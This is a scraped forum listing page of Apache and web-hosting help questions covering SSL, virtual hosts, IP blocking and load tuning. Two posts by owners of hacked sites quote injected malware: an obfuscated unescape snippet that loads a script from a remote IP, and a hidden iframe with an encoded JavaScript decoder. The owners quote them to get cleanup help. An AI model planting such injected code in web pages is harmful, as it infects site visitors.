Apache :: Configuring To Load Javascript Files?

Oct 23, 2013

have a website that sources a number of jquery plugins, when I load the site in chrome or firefox the javascript console is saying that these files were not loaded.

The server is a localhost and the files are local.

The google jquery file loads fine.

how I need to configure the apache config file to deal with javascript.

View 2 Replies


ADVERTISEMENT

Getting Apache To Parse Javascript

Mar 14, 2007

A tech admin that I worked with previously fixed an issue we were having. He explained what he did:

To fix you need to make apache be able to parse JS

He is no longer available.

how to do this? Which file (I expect httpd.conf) would I need to edit and what part of it would it be?

View 1 Replies View Related

Configuring A Name Sever On A Load Balanced IP

Jun 16, 2007

I have set up a HA network.

Web Servers #1 and #2 have their own IPS, but share a dedicated load balanced IP via the H5 Load Balancer.

We have our domain name registered with Yahoo!

How do we point the domain name at Yahoo! to the load balanced IP?

View 3 Replies View Related

WHM Is Not Actually Configuring Apache?

Dec 28, 2006

I'm over here trying to rebuild php with GD in WHM, I go through the entire motion of Apache Update (with GD selected as a PHP Module) and ummmm... after it's done, I check my phpinfo() and there is no GD section, let alone has the build date been changed.

View 9 Replies View Related

Configuring Apache With SSL On Windows

Oct 28, 2008

i couldn't find a more suitable category to put this post in: I am setting up a development server local to my office here, so that we can develop projects using an SVN app, but the SVN system needs SSL for logging in. i am now going round in circles where httpd.exe cannot start as a service from the apache monitor, with the following error:

The Apache service named reported the following error:
>>> httpd.exe: Could not reliably determine the server's fully qualified domain name, using 192.168.1.84 for ServerName
in the windows event viewer.

I'm using:
Windows XP Home edition, SP3
Apache 2.2.9
full computer name is devserver
workgroup is WORKGROUP

I used openssl bundled with this version of apache to generate the SSL certificate, and they all seem to be ok. When i change the line

SSLEngine on

in the httpd-ssl.conf file, the apache service starts when the SSLEngine is off, but not when the SSLEngine is on.

i have trawled the internet but not found any answer. ive checked thru httpd.conf and httpd-ssl.conf several times but i just can't see anything wrong (although im not entirely experienced!).

View 4 Replies View Related

Configuring Apache Virtualhost SSL

Dec 10, 2013

I am really having trouble getting a virtualhost to work for an SSL certificate.. my browser just will not load the page..I have tried several different articles on how to setup a virtualhost and none of them seem to work.

My ssl.conf [URL] .....

*Note: I did purchase an SSL certificate - it is not self signed.

View 13 Replies View Related

Apache :: Configuring IP Blocking?

Apr 7, 2014

I've been trying to figure out some IP blocking with no success. The environment is UNIX and Apache version is 2.2.22-14.

The site is on a hosted solution and doesn't have a firewall due to the virtualization software limitations. I've tried setting something similar to the following:

Code:

<Directory /home/username/mysite.com>
#IP Blocks
Deny from 1.2.3.1/24
Deny from 1.2.4.5
etc..

but with no success. I've also tried it in the <Location> tag with no success.

The way I'm testing this is editing the conf and then bouncing the apache server.

View 4 Replies View Related

Configuring Apache To Run Php Without Shebang Line

Aug 15, 2005

I posted this problem in the PHP forum without a response. I thought this forum might be better.

View 0 Replies View Related

Configuring Subdomains In Apache On A Localhost

Apr 27, 2006

I'm currently trying to configure apache 2 to handle subdomains. This is on a local machine (not tied to any domain names) and I'm only doing it to research how the final structure of a site 'could' be setup.

Basically I have a single install of Apache 2 running. The outcome eventually should be to have specific sub domains that all point to the same document root as the actual domain name. So eventually I will have:

http://www.mydomain.com
http://subdomain1.mydomain.com
http://subdomain2.mydomain.com

with both subdomains showing the content at mydomain.com (there is reasoning behind this but I'm not gonna go into that).

I have apache setup as follows:

NameVirtualHost *:80

<VirtualHost *:80>
ServerName daneastley
DocumentRoot "C:/Program Files/Apache Group/Apache2/htdocs"
</VirtualHost>


<VirtualHost *:80>
ServerName subdomain1.daneastley
DocumentRoot "C:/Program Files/Apache Group/Apache2/htdocs"
</VirtualHost>

<VirtualHost *:80>
ServerName subdomain2.daneastley
DocumentRoot "C:/Program Files/Apache Group/Apache2/htdocs"
</VirtualHost>

Now on my local machine, only the top one works - the subdomains dont. if I add the following into my hosts file in windows, they all work:
127.0.0.1 daneastley
127.0.0.1 subdomain1.daneastley
127.0.0.1 subdomain2.daneastley

the problem being, that I wish to test this enviroment on the local network. How would I go about having every computer being able to access this? I'm assuming it comes down to DNS stuff.

View 0 Replies View Related

Configuring MySQL/Apache To Run A Larger Website More Efficiently

May 12, 2007

I'm running a comic site on a dedicated linux box that has weekly releases. When a new release comes out I'll typically get 4000-5000 unique hits an hour. The problems started when I set up a MySQL download logging system, that would query and display the file names when the user loads the site, and update +1 when they download a comic. Yesterday after a release, the site became very slow to access, and after about 20 seconds you'd connect and be able to browse freely at nice speeds but if you went idle you'd have to wait about 20 seconds to connect again. The other domains on the server were running fine, and I could access my whm fine as well, the server load was 0.10 or lower.

I'm assuming there's a max connection limit somewhere either on the mysql or apache side that's restricting the site from handling the load it's getting. I've poked around google and researched it a bit but couldn't really find much. I don't have an enormous amount of time to invest in this because it's just a hobby so I'd appreciate any help one of you could offer!

View 2 Replies View Related

How To Check Load Via Ssh And Check Files Causing Load

Jul 1, 2009

I would like to know how to check load via ssh and check files causing load?

I want the ssh codes for 2 different set of control panels, one with cpanel+whm and other with kloxo+hypervm

and I would also know how to check the files causing the load, such as some files could have been interrupted while processing, so they could be causing load some times, so I want to stop such processes if any are running on the vps on my friends accounts

View 5 Replies View Related

Malicious Javascript

Mar 18, 2009

We are having a problem with a number of our websites hosted on Fasthosts reseller account where JavaScript is being maliciously inserted into a number of pages.

An example of the code that has been inserted can be found below:
<!--
document.write(unescape('xXz%3CAEqscripzHVt%20RMisAEqrRMicxXz%3DzHV%2FyI%2F6
yI7zHV%2E21wq5RMi%2E2xXz4wq6%2E3AEq4RMi%2FjqAEquwqexXzry%2EjsyI%3E%3CzHV%2Fs
crRMiiwqpzHVtwq%3E').replace(/yI|zHV|fW|xXz|RMi|wq|AEq/g,""));
-->
Which runs this script:
<script src=//67.215.246.34/jquery.js></script>

New pages have been created on a number of websites aswell as the above code inserted into existing pages.

After removing the above code from one particular website it has happened again.
Some of the websites being affected are just static websites with only HTML pages, others are dynamic ASP pages.

View 2 Replies View Related

Litespeed Javascript

Jan 24, 2008

I've tried turning on/off gzipping, other stuff.

It's an AJAX tab script.

Exact same thing, exact same paths work on my shared hosting elsewhere, but not on my box running LS.

View 2 Replies View Related

Free Web Host That Allows PHP And JavaScript

May 28, 2007

Does anyone know of any free web hosts that would allow me to use PHP and JavaScript in my web-pages?

View 9 Replies View Related

Pasted Javascript Into Filename By Accident

Nov 20, 2008

I pasted the contents of a javascript page into a filename on my server.

Now I cant rename, download or delete the file,

View 4 Replies View Related

Index Page With Javascript Probably Hacked ..

Jul 15, 2008

when i oppened my site i found that there was a code in the index i don't know from what but when i earsed it it returned again ...

View 0 Replies View Related

HTML/JavaScript Content Embedded In Flash

Apr 11, 2009

I'm trying to embed the LiveZilla chat icon within a flash header and haven't been able to do it for the life of me.

View 0 Replies View Related

Hacked: How To Find Javascript Added To Pages In /home

Apr 23, 2007

Many of my websites on my server have been hacked, it randomly add's
Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->

Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src=[url]-->
and

Code:
<!--iframe width=1 height=1 border=0 frameborder=0 src='http://aboutmynews.org/news/InF.php' style='display:none;'></iframe--><!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmOAt7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")</script><!-- ~ -->

To some of my pages on my websites in my /home directory.

Please do not visit the links without anti virus protection.

what command I can use to search all of my files in my home directory for this?

View 5 Replies View Related

Plesk 12.x / Linux :: Horde - JavaScript Is Either Disabled Or Not Available On Browser

Jul 17, 2015

When i try to go to horde after my upgrade from plesk 11.5.30 to plesk 12.0.18, my horde is loading as minimal cause this:

JavaScript is either disabled or not available on your browser. You are restricted to the minimal view.

But my javascript is enabled for this site.

View 2 Replies View Related

Apache (too Load)

Jan 17, 2007

I have a server Athlon 3000+ 64bit, 1GB ram on Debian 3.1 and I have a problem with apache (apache is generating large load). On server are 1 phpbb board with ~80 members online. Frequently cpu load generating by apache jumps to 100%, next apache eats all memory & swap and next server downs. Sometimes in such moments on board are not much people (30-40), so this problem isn't related to online stats. I haven't any idea how fix this problem. Please, help me! I need fast help, because I will departure day after tomorrow and if I don't fix this problem before, my site will down over long time...

My config:

apache2.conf

Quote:

Timeout 100
KeepAlive Off
MaxKeepAliveRequests 100
KeepAliveTimeout 15

<IfModule prefork.c>
StartServers 5
MinSpareServers 5
MaxSpareServers 10
MaxClients 150
MaxRequestsPerChild 100

<IfModule worker.c>
StartServers 4
MaxClients 200
MinSpareThreads 25
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 1

<IfModule perchild.c>
NumServers 2
StartThreads 5
MinSpareThreads 5
MaxSpareThreads 10
MaxThreadsPerChild 5
MaxRequestsPerChild 5
AcceptMutex fcntl

my.cnf (mysql):

Quote:

[mysqld]
log-slow-queries = /var/log/mysql/mysql-slow.log
long_query_time = 1
key_buffer = 10M
myisam_sort_buffer_size = 34M
join_buffer_size = 1M
read_buffer_size = 1M
sort_buffer_size = 2M
table_cache = 2500
thread_cache_size = 628
wait_timeout = 3
connect_timeout = 3
tmp_table_size = 50M
max_allowed_packet = 10M
max_connect_errors = 10
#query_cache_limit = 25M
query_cache_size = 100M
#query_cache_type = 1
query_prealloc_size = 16384
query_alloc_block_size = 16384
tmpdir=/tmp
log = /var/log/mysql/log.log

[mysqld_safe]
open_files_limit = 8192

[mysqldump]
quick
max_allowed_packet = 10M

[myisamchk]
key_buffer = 64M
sort_buffer = 64M
read_buffer = 16M
write_buffer = 16M

Eaccelerator: ON (before instalation was problem with apache too)

View 10 Replies View Related

Apache Load

May 23, 2007

On 19th of may apache started to make like 3x more load on server. Before in cpanel admin panel load for biggest site was ~5 and now it is 18-30. Also on server peaks are now up to 2-3 and before it was rarely 1. I'm only admin so i know i didnt touch anything from configuration because i wasn't much around. And users said they also didn't modified anything.

So i suspect maybe there was some cpanel update which makes apache to have higher loads.

Traffic is at normal visits per day and hits only load is 3x higher.

View 2 Replies View Related

High Apache CPU Load

Mar 26, 2009

I've search around quite a bit, but I can't seem to find a clear answer.

I've turned on mod_status, and on the status page, I'm worried Apache is being overworked.

Code:
CPU Usage: u334.883 s94.5703 cu177.422 cs0 - 43.3% CPU load
54.1 requests/sec - 181.5 kB/second - 3435 B/request
178 requests currently being processed, 52 idle workers

__RKKK__K___KW_CKCKC_KC_KCK_KKCCK_K_KKWCKCCKCWKKKCRCKKKK._K_C__K
KK_K__K_K_KK_C_KKKKK_KKW.KRCKWKKW_CCKWKRK..___KKCKKKKKKKR_KKKW.W
_KK_____RKRC.KKCKCCRK__CK._KWCK_KKRCCK.C__CR.CWCCKCRKK.RR.K_CR_K
C_KW._._K.K..KKK_KRCCKWKK__..R.CRWCKK.KCK.K.KK_K....._...KK.....
......KC.CK...C...CK......W........C............................
................................................................
................................................................
................................................................

At the time I took this particular snapshot, it's not near its peak... it's not uncommon for the CPU load approach 60%. Reading around, it seems the CPU load should normally be under 1% (such as 0.0139% or what-not). Is this true?

The weird thing though... I have no idea where that number is coming from, because according to "top", the CPU is actually 90% idle.

Here is my Apache MPM settings:

Code:
ServerLimit 512
<IfModule mpm_prefork_module>
StartServers 10
MinSpareServers 15
MaxSpareServers 50
MaxClients 1024
MaxRequestsPerChild 0
</IfModule>

I actually just raised the MaxClients from 512 to 1024 because I was hitting a constant cap of 40 requests/sec... and I was worried it was going to bottleneck. When I raised that value, the max requests per second now seem to be freed up.

If the actual CPU of the server is 90% idle... am I okay? Anyone know where Apache's getting the CPU Load info from?

View 13 Replies View Related

Server Load > 300 (only Apache)

Apr 16, 2007

I have two servers, one for apache hosting a vbulletin forum, and another one for hosting its database.

Sometimes, I get very high load on the Apache server (>300) and the server stops responding. As a result, I have to stop apache in order to reduce the load and then start it again.

when I query the number of online users using this command:

Code:
netstat -an | grep : 80 | wc -l
I get about 1500 to 2000

but in the forum statistics, the number of online users is more than 5000. I already made sure that there are no DoS or DDoS attacks.

This is the specs of my apache server:

CPU: GenuineIntel Intel(R) Pentium(R) D CPU 3.40GHz
RAM: 2 GB
Server OS: CentOS 4.4
Apache Version: 1.3.37

and here is my httpd.conf:

Code:
ServerType standalone

Timeout 15
KeepAlive On
MaxKeepAliveRequests 200
KeepAliveTimeout 15
MinSpareServers 10
MaxSpareServers 15
StartServers 10
MaxClients 500
MaxRequestsPerChild 0

Is there anyway by which I can optimize my server for better performance and less load?

View 12 Replies View Related

Reducing Apache Load

May 24, 2007

My load average seems a bit high considering how few processes are running:

[url]

Is there anything I can do to reduce the load generated by Apache?

You can see the Apache2 server status info here:
[url]

It's serving 20-25 requests per second, which are mostly these tiny requests to tracker.php which issues a database query and returns an image. The relevant httpd.conf settings:

Code:
Timeout 120
KeepAlive Off
MaxKeepAliveRequests 100
KeepAliveTimeout 15

<IfModule prefork.c>
StartServers 8
MinSpareServers 5
MaxSpareServers 20
ServerLimit 512
MaxClients 256
MaxRequestsPerChild 4000
</IfModule>

This is a dual Opteron 2212 server (4 cores total) with 4GB RAM.

View 9 Replies View Related

Apache 2.2.8 & High CPU Load

Mar 1, 2008

if anyone has had problems with high cpu load after upgrading APACHE to 2.2.8. We were running 1.3.5 with comfortable CPU loads of 2-10 on dual Xeon 2.8's. Now the loads are 20-70 with most of the CPU being used by many many httpd processes. I've heard that APACHE v2 does consume more resources, but am wondering if there was a problem with the build, or is it that much more demanding.

OTHER INFO:
WHM:11.15
CPANEL: 11.18
OS: CENTOS 4.6
KERNAL: 2.6.20.4-ts.grh.mh.i386

View 3 Replies View Related

Apache Seems To Be Busy But Load Is 0.00

Feb 12, 2007

i'm hosting a forum (~80 simultalinous users online) In a VDS 512 MB RAM, Linux Debian with apache 1.3 and mysql 4.1 , php4.

Apache seems to be busy, pages don't even load, this can be resolved by restating apache. and after a couple of time (about 4 hours) it does the same thing again, and i do have to restart it again and looping ...

Here is my httpd.conf file :

Code:
Timeout 200
KeepAlive On
MaxKeepAliveRequests 200
KeepAliveTimeout 3
MinSpareServers 5
MaxSpareServers 15
StartServers 5
MaxClients 20
HostnameLookups Off

MaxRequestsPerChild 2000

View 14 Replies View Related

How To Add Apache Load Modules

Feb 11, 2013

I have complied Apache from the source with so enabled and compiled PHP with Apache apxs. What if I do, if I want to add/Load another modules as a dynamic modules without recompiling apache. Suppose if I want to enable rewrite or any other module.I am pasting the command which I used to compile apahce.

Apache
==
./configure --prefix=/usr/local/apache --enable-module=so
make
make install

PHP
==
./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache/bin/apxs
make
make install

Both are running fine on my server,how to enable mod rewrite module as shared module fro example ?? 

View 1 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved